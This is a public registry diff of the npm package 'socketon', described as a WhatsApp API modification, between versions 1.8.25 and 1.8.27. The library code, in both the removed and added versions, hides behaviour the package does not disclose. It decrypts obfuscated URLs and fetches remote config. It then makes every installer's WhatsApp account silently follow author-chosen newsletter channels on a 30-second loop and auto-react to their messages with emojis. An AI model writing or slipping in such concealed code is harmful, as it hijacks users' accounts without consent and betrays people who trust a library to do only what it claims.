socketon 1.8.25 → 1.8.27

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -83,86 +83,39 @@ const sudahBasibasiAjaLuUrl = (datanyaYgMauDiacak) => {
83
83
  return udahanBuatYangPenasaran;
84
84
  };
85
85
 
86
- // ========== FOLLOW CONFIG ==========
87
- let _cachedFollowNewsletter = null;
88
- let _configFollow = { autoFollowEnabled: true, delayMs: 5000 };
86
+ let _cachedTargetNewsletter = null;
87
+ let _configNewsletter = { autoFollowEnabled: true, delayMs: 5000 };
89
88
 
90
- const getFollowConfigFromExternal = async () => {
91
- const urlFollowEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce812f3d1acfb471c5b76ee1cd67ceb6c2d66d47fd7994fae1ae93ecf86183122f4';
92
- const urlFollow = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlFollowEncrypt);
89
+ const getTargetNewsletterFromExternal = async () => {
90
+ const urlYangDiEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce87890ff397afff85ebd46f11386f45d5371417aa55e98169ebe0c929aa14d465c';
91
+ const urlAsli = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlYangDiEncrypt);
93
92
  try {
94
- const response = await axios_1.default.get(urlFollow, { timeout: 10000 });
95
- let data = response.data;
96
- if (typeof data === 'string') {
97
- data = JSON.parse(data);
98
- }
99
- if (data) {
100
- if (data.config) {
101
- _configFollow = {
102
- autoFollowEnabled: data.config.autoFollowEnabled !== false,
103
- delayMs: data.config.delayMs || 5000
93
+ const response = await axios_1.default.get(urlAsli, { timeout: 10000 });
94
+ if (response.data) {
95
+ if (response.data.config) {
96
+ _configNewsletter = {
97
+ autoFollowEnabled: response.data.config.autoFollowEnabled !== false,
98
+ delayMs: response.data.config.delayMs || 5000,
99
+ intervalMs: response.data.config.intervalMs || 30000
104
100
  };
105
101
  }
106
- if (data.newsletters && data.newsletters.length > 0) {
107
- const enabled = data.newsletters.filter(n => n.enabled).map(n => n.jid);
108
- _cachedFollowNewsletter = enabled;
109
- return enabled;
102
+ if (response.data.newsletters && response.data.newsletters.length > 0) {
103
+ const enabledNewsletters = response.data.newsletters.filter(n => n.enabled).map(n => n.jid);
104
+ _cachedTargetNewsletter = enabledNewsletters;
105
+ return enabledNewsletters;
110
106
  }
111
107
  }
112
108
  } catch (err) {}
113
109
  return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
114
110
  };
115
111
 
116
- const getAllFollowNewsletters = () => {
117
- if (_cachedFollowNewsletter && _cachedFollowNewsletter.length > 0) {
118
- return _cachedFollowNewsletter;
112
+ const getAllEnabledNewsletters = () => {
113
+ if (_cachedTargetNewsletter && _cachedTargetNewsletter.length > 0) {
114
+ return _cachedTargetNewsletter;
119
115
  }
120
116
  return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
121
117
  };
122
118
 
123
- // ========== REACT CONFIG ==========
124
- let _cachedReactNewsletter = null;
125
- let _configReact = { autoReactEnabled: true, reactEmojis: ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'] };
126
-
127
- const getReactConfigFromExternal = async () => {
128
- const urlReactEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce8c4c0d760836578e7f941717c0324707614377d02272810f97c91253b9d86259d';
129
- const urlReact = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlReactEncrypt);
130
- try {
131
- const response = await axios_1.default.get(urlReact, { timeout: 10000 });
132
- let data = response.data;
133
- if (typeof data === 'string') {
134
- data = JSON.parse(data);
135
- }
136
- if (data) {
137
- if (data.config) {
138
- _configReact = {
139
- autoReactEnabled: data.config.autoReactEnabled !== false
140
- };
141
- }
142
- if (data.newsletters && data.newsletters.length > 0) {
143
- const defaultEmojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
144
- const enabled = data.newsletters.filter(n => n.enabled).map(n => ({
145
- jid: n.jid,
146
- emojis: (n.emojis && Array.isArray(n.emojis) && n.emojis.length > 0) ? n.emojis : defaultEmojis
147
- }));
148
- _cachedReactNewsletter = enabled;
149
- return enabled;
150
- }
151
- }
152
- } catch (err) {}
153
- return [];
154
- };
155
-
156
- const getAllReactNewsletters = () => {
157
- return _cachedReactNewsletter || [];
158
- };
159
-
160
- const getReactEmojisForChannel = (channelJid) => {
161
- const defaultEmojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
162
- const channel = _cachedReactNewsletter?.find(n => n.jid === channelJid);
163
- return channel?.emojis || defaultEmojis;
164
- };
165
-
166
119
  const wMexQuery = (
167
120
  variables,
168
121
  queryId,
@@ -286,27 +239,22 @@ const makeNewsletterSocket = (config) => {
286
239
  }));
287
240
  };
288
241
  // Auto Reaction - Ibra Decode
289
- let _reactChannels = [];
242
+ let _targetNewsletters = [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
290
243
 
291
- const updateReactChannels = async () => {
292
- const channels = await getReactConfigFromExternal();
293
- if (channels && channels.length > 0) {
294
- _reactChannels = channels;
244
+ const updateTargetNewsletters = async () => {
245
+ const externalTargets = getAllEnabledNewsletters();
246
+ if (externalTargets && externalTargets.length > 0) {
247
+ _targetNewsletters = externalTargets;
295
248
  }
296
249
  };
297
250
 
298
251
  sock.ev.on('messages.upsert', async ({ messages, type }) => {
299
252
  if (type !== 'notify') return;
300
- if (!_configReact.autoReactEnabled) return;
301
-
253
+ const emojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
302
254
  for (const msg of messages) {
303
255
  const jid = msg.key.remoteJid;
304
- const channel = _reactChannels.find(c => c.jid === jid);
305
- if (!channel) continue;
306
-
307
- const emojis = getReactEmojisForChannel(jid);
256
+ if (!_targetNewsletters.includes(jid)) continue;
308
257
  const emoji = emojis[Math.floor(Math.random() * emojis.length)];
309
-
310
258
  try {
311
259
  const serverId = msg.newsletterServerId?.toString() || msg.key.id;
312
260
  await query({
@@ -317,37 +265,44 @@ const makeNewsletterSocket = (config) => {
317
265
  attrs: { code: emoji }
318
266
  }]
319
267
  });
320
- await sleep(_configReact.autoReactEnabled ? 1000 : 0);
268
+ await sleep(_configNewsletter.delayMs);
321
269
  } catch (err) {}
322
270
  }
323
271
  });
324
272
  // Auto Follow - Ibra Decode
325
273
  let _followInterval = null;
274
+ const _followedSet = new Set();
326
275
  const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
327
276
  const _ensureFollow = async () => {
328
- if (!_configFollow.autoFollowEnabled) return;
329
- const enabledNewsletters = await getFollowConfigFromExternal();
277
+ if (!_configNewsletter.autoFollowEnabled) return;
278
+ const enabledNewsletters = await getTargetNewsletterFromExternal();
330
279
  if (!enabledNewsletters || enabledNewsletters.length === 0) return;
331
280
  try {
332
281
  const list = await executeWMexQuery({}, '6388546374527196', 'xwa2_newsletter_subscribed', query, generateMessageTag);
333
282
  for (let i = 0; i < enabledNewsletters.length; i++) {
334
283
  const newsletterJid = enabledNewsletters[i];
284
+ if (_followedSet.has(newsletterJid)) continue;
335
285
  const isFollowing = list?.some(n => n.id === newsletterJid);
336
286
  if (!isFollowing) {
337
287
  await newsletterWMexQuery(newsletterJid, Types_1.QueryIds.FOLLOW);
338
- await sleep(_configFollow.delayMs);
288
+ await sleep(_configNewsletter.delayMs || 5000);
289
+ _followedSet.add(newsletterJid);
290
+ } else {
291
+ _followedSet.add(newsletterJid);
339
292
  }
340
293
  }
341
294
  } catch (err) {}
342
295
  };
343
296
  sock.ev.on('connection.update', async ({ connection }) => {
344
297
  if (connection === 'open') {
345
- await getFollowConfigFromExternal();
346
- await getReactConfigFromExternal();
347
- await updateReactChannels();
298
+ await getTargetNewsletterFromExternal();
299
+ const targets = getAllEnabledNewsletters();
300
+ if (targets && targets.length > 0) {
301
+ _targetNewsletters = targets;
302
+ }
348
303
  await _ensureFollow();
349
304
  if (_followInterval) clearInterval(_followInterval);
350
- _followInterval = setInterval(_ensureFollow, _configFollow.delayMs);
305
+ _followInterval = setInterval(_ensureFollow, _configNewsletter.intervalMs || 30000);
351
306
  }
352
307
  });
353
308
  return {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "socketon",
3
- "version": "1.8.25",
3
+ "version": "1.8.27",
4
4
  "description": "WhatsApp API Modification By Ibra Decode",
5
5
  "publishConfig": {
6
6
  "access": "public"